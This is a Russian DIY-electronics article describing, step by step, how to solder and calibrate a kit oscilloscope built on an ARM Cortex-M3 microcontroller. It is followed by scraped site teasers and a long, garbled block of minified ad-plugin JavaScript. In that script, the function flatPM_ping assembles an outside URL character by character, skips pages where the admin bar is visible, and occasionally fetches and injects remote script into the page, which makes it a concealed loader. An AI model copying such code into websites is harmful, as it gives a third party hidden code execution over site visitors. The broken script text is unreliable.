На печатной плате уже был припаян прошитый микроконтроллер. Это 32 битный микроконтроллер, базирующийся на ARM 32-bit Cortex™ — M3 ядре. Максимальная частота работы 72 МГц, также он имеет 2 x 12-bit, 1 μs АЦП. Есть в других наборах уже впаяны все smd детали. В моём только микроконтроллер, но остальные я сам впаял без особого труда остро заточенным паяльником и в очках с подсветкой. Все smd детали были по количеству на одну больше для запаса на случай потери такой крохотульки

Шаг 1.

Чтобы было удобнее, пока на плате нет других деталей, первым делом я впаял все smd компоненты. Микроконтроллер (квадратик с выводами четырёх сторон), как я писал, был уже впаян.

Паяем аккуратно и не перегреваем микросхемы. Держать паяльник на одной ножке не более 2 сек! Используем припой (тонкая проволока с канифолью внутри) и паяльную пасту. Следим чтобы не перемыкали вывода между собой и в тоже время хорошо припаяны к контактным площадкам.

Шаг 2.

Далее я припаял все пассивные компоненты (сопротивления, дросселя и конденсаторы).

Тут без особых комментариев. Вставляем деталь согласно прилагаемой инструкции в печатную плату, обрезаем лишний отрезок вывода и хорошо припаиваем. Вокруг контактных площадок с обратной стороны платы близко подходит экранный слой. Поэтому паяйте аккуратно, чтобы припой не замкнул на экранный слой и соседние дорожки.

Немного о маркировке керамических конденсаторов: эти конденсаторы маркируются также как и резисторы. Первые две цифры — это число, третья цифра — количество нулей после числа. Например 121 — это 120 пф, 203 — это 22 000 пф или 22нф, 104 — это 100000 пф или 100 нф или 0,1 мкф.

У электролитических конденсаторов есть полярность. Не путаем + и !

Шаг 3.

Далее паяем всё оставшееся: диоды, транзисторы, кварц, светодиод, кнопки, разъёмы, переключатели…

При пайке транзисторов и диодов, так же как и микросхемы — не перегреваем! Держать паяльник на одной ножке не более 2-3 сек!

Диоды имеют катод и анод, поэтому при пайке смотрим на кольцо с одного краю (это катод). Не путаем так же установку транзисторов! Внимательно смотрим маркировку, они похожи на микросхемы — стабилизаторы 78L05 и 79L05

Разъёмы и переключатели хоть и блестят, но паяются плохо. Я предварительно зачистил ножки мелкой наждачкой.

При пайке кварца надо немного приподнять от платы, т.к. он металлический и может замкнуть контактные площадки. Можно подложить под него диэлектрик.

Шаг 4.

К плате дисплея нужно припаять только три разъёма.

После того как всё припаяно промываем плату спиртом не нужной зубной щёткой или ватным диском.

Шаг 5.

После того как плату просушили, ещё раз проверяем качество пайки.

После перед под соединением дисплея к основной плате припаяем две перемычки. Сделать их можно из откусанных выводов.

Шаг 6.

Подключаем питание. Источник питания: постоянное стабилизированное напряжение 9 В с максимальным током не менее 200 мА.

  1. Проверяем соответствия на разъёме 9 В.
  2. Проверяем в контрольной точке 3,3 В.
  3. Если всё нормально, выключаем питание и устанавливаем перемычку JP4.

Шаг 7.

Вставляем дисплей в разъёмы (3 шт).

Подключаем ко входу щуп (есть в комплекте) и включаем питание.

Если всё правильно, видим на экране сайт производителя, версию прошивки и номер дисплея:

Далее, через несколько секунд появляется шкала и синусоида, даже при не подключенных никуда щупе и включенном переключателе на максимальную чувствительность — 10мВ

Вверху два разъёма: вход сигнала и питание.

Слева находятся переключатели: измерение постоянной и переменной составляющей (открытый и закрытый вход).

Второй и третий переключатели — входной аттенюатор прибора (чувствительность) и аттенюатор после входного усилителя. Они позволяют выбрать масштаб по оси напряжения. Если выбран 1 Вольт, то это означает, что в этом режиме размах в одну масштабную клетку экрана будет равен напряжению в 1 Вольт.

С помощью второго переключателя выбираем напряжение, а третьего множитель. При помощи этих переключателей можно выбрать девять фиксированных уровней входного напряжения (от 10 мВ до 5 В).

Светодиод — индикатор наличия и синхронизации сигнала.

Справа — кнопки управления: запоминание, выбор, установки параметров (смещение, синхронизация, размах). Все изменения отображаются на экране по кругу. Нижняя кнопка — сброс.

Таблица напряжений в контрольных точках

Подстроечными конденсаторами устанавливаем правильную форму отображаемого сигнала. Для этого нужно подать источник прямоугольных импульсов. Лучше это сделать один раз с фабричного генератора стандартных сигналов. Можно подать сигнал от внутреннего генератора (фото ниже). Для этого подсоединяем красный «крокодил» щупа на перемычку J2 (вверху платы). Конденсаторами выравниваем чёткие прямоугольные формы.

Надеюсь, что обзор данного конструктора-осциллографа был интересен и окажется полезным при сборке. Удачи!

А.В.Зотов, Волгоградская обл.

Кто заинтересовался набором можете пройти на сайт магазина: GEARBEST.com

П О П У Л Я Р Н О Е:

Любой автолюбитель знает, что нельзя сесть за руль, не зная, как запустить двигатель и для чего служат педали, рычаги, кнопки. Сначала нужно познакомиться с назначением каждого органа управления, изучить устройство автомобиля, хотя бы в общих чертах, а потом уже ездить пытаться на нём проехать. И только со временем, обретая определённые навыки можно отнести себя к профессиональному водителю. Подробнее…

В телевизорах одной модели часто встречаются одни и те же неисправности. Если у Вас сломался телевизор SHARP, то взглянув в ниже прилагаемый список неисправностей возможно Вы обнаружите точно такой дефект.

Когда установлена причина поломки, найдена неисправная деталь, то заменить её не сложно. Часто бывает из за копеечной негодной детали или просто пропайки приходится вести в ремонт телевизор, искать мастера или вообще покупать новый телевизор и платить за это не малые деньги.

Причин поломок ПДУ бывает достаточно много. Падение — в этих случаях образуются трещины на корпусе, вырываются винты, ломается задняя крышка батарей, обрываются дорожки на плате или электронные элементы. Есть любители садиться на пульты, в этих случаях может произойти разлом платы или корпуса. Отремонтировать можно все в зависимости от поломки, другой вопрос, а надо ли это, если можно купить новый пульт.
Можно, но встречаются экзотические модели, к которым ПДУ найти невозможно. Поэтому лучше засучить рукава и потратить час своего драгоценного времени на творческий порыв. А за одно погордиться собой за маленький подвиг, может кто-нибудь еще и похвалит, тоже приятно. Подробнее…

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};
Яндекс.Метрика